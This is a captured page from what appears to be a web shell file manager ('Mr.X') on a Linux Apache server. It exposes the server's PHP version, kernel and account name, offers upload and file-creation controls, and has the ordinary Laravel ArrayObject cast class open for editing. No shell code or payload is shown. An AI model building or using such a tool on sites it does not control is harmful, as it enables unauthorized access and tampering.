🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:ArrayObject.php
<?php namespace Illuminate\Database\Eloquent\Casts; use ArrayObject as BaseArrayObject; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Support\Collection; use JsonSerializable; /** * @template TKey of array-key * @template TItem * * @extends \ArrayObject<TKey, TItem> */ class ArrayObject extends BaseArrayObject implements Arrayable, JsonSerializable { /** * Get a collection containing the underlying array. * * @return \Illuminate\Support\Collection */ public function collect() { return new Collection($this->getArrayCopy()); } /** * Get the instance as an array. * * @return array */ public function toArray() { return $this->getArrayCopy(); } /** * Get the array that should be JSON serialized. * * @return array */ public function jsonSerialize(): array { return $this->getArrayCopy(); } }
Save Changes
Cancel
Create New File
Create New Folder